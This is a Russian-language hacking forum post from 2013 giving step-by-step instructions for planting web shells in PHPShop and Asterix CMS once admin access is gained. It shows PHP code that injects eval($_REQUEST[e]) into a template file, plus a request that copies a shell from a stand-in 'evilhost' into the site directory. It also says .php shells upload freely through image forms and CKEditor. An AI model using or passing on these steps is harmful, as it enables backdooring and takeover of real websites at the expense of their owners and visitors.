Показать сообщение отдельно
Старый 12.03.2013, 01:33   #49
Take_IT
 
Регистрация: 11.03.2013
Сообщений: 4
Репутация: 4
По умолчанию

PHPShop & PHPShop CMS Free - Latest Version

Developers - phpshop.ru , cms.phpshopcms.ru
Need: Admin Access
Admin url: /phpshop/admpanel/

Заходим в редактор .tpl шаблонов. Выбираем тему с шаблоном которой будем работать, можно выбрать текущую тему, например "gray"

Выбираем файл шаблона, например файл шаблона для главной страницы "main/index.tpl"

Внедряем свой код
PHP код:
@php
eval($_REQUEST[e]);
php
Смотрим абсолютный путь:
Код:
localhost/?e=phpinfo();
Льем шелл:
Код:
localhost/?e=copy("evilhost/shell.txt","/home/yoursite/phpshop/templates/gray/main/shell.php");


Asterix CMS

Developers - asterix.opendev.ru
Need: Admin Access
Admin url: localhost/admin.html

Шелл с расширением .PHP спокойно заливается через любую форму аплоада картинок, а также через встроенный текстовый редактор CKEditor
Take_IT вне форума   Ответить с цитированием